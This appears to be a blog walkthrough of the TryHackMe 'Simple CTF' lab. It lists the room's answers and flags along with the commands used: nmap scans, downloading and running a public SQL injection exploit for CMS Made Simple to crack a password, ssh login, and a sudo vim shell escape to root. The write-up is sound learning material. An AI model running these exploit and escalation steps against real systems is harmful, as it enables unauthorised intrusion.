Challenges: Simple CTF (TryHackMe)

PublishedJune 19, 2025

Software Developer | Learning Cybersecurity | Open for roles * If you're in the early stages of your career in software development (student or still looking for an entry-level role) and in need of mentorship, you can reach out to me.

Comments

Join the discussion

No comments yet. Be the first to comment.

More from this blog

Modern Web Stacks (TryHackMe)

Link to the challenge on TryHackMe: Modern Web Stacks Introduction During a time-boxed engagement, the first tester to identify Apache/2.4.49 in a Server: header already knows the exact CVE before the

Jul 14, 202627 min read22

Broken Authentication (TryHackMe)

Link to the challenge/walkthrough on TryHackMe: Broken Authentication Introduction Authentication is the process by which a web application verifies the identity of the user making a request. It typic

Jul 14, 202624 min read14

HealthGPT (TryHackMe)

Link to the HealthGPT AI security CTF challenge on TryHackMe. Meet HealthGPT, a well-meaning virtual assistant used by a busy healthcare team. It helps clinicians look up procedures, draft notes, and

Jul 12, 202625 min read18

Token City - AI Odyssey CTF (TryHackMe)

Link to the section of the AI Odyssey CTF on TryHackMe: Token City. It covers challenges like: ML Sec: The Loan Arranger | AI Sec + DFIR: Rogue Commit | AI Sec + Web App Sec: Sealed Substation | Agent

Jun 26, 202661 min read31

Linux Privilege Escalation: Automation (TryHackMe)

Link to the Privilege Escalation Challenge on TryHackMe: Linux Privilege Escalation: Automation Introduction By now, you should have an understanding of basic privilege escalation techniques and how t

Jun 24, 202618 min read290

Linux Privilege Escalation: Automation (TryHackMe)

CyberWithSharon

500 posts

Answer the questions below

How many services are running under port 1000? 2

nmap -p- 1-999 <target_ip>

What is running on the higher port? ssh

nmap -sV <target_ip>

What's the CVE you're using against the application? CVE-2019-9053

cpe:/o:linux:linux_kernel 5.15.0-124-generic

The hint: An issue was discovered in CMS Made Simple 2.2.8. It is possible with the News module, through a crafted URL, to achieve unauthenticated blind time-based SQL injection via the m1_idlist parameter.

hostnamectl

Searching the CMS Made Simple 2.2.8 brings up the CVE-2019-9053

To what kind of vulnerability is the application vulnerable? sqli (SQL Injection)

wget https://www.exploit-db.com/raw/46635 -O exploit.py

pip install termcolor

python exploit.py -u http://<target_ip>/simple --crack -w /usr/share/wordlists/rockyou.txt

What's the password? secret

Where can you login with the details obtained? ssh

ssh mitch@<Target_Ip> -p 2222

What's the user flag? G00d j0b, keep up!

ls -la

cat user.txt

Is there any other user in the home directory? What's its name? sunbath

ls /home

What can you leverage to spawn a privileged shell? vim

.viminfo - is the hint

Use sudo vim from GTFOBins - option one

sudo vim -c ‘:!/bin/sh’

What's the root flag? W3ll d0n3. You made it!

cd ../../root

cat root.txt

The simple CTF room was a great reminder that even small misconfigurations can lead to complete system compromise. From identifying services with Nmap to exploiting a known CVE in CMS Made Simple and leveraging vim For privilege escalation, this challenge reinforces the importance of enumeration and tool familiarity.

Thanks for reading! Stay sharp, keep learning, and hack responsibly 🛡️
“Simple” challenges like these often carry big lessons.

Command Palette

Comments

More from this blog

Answer the questions below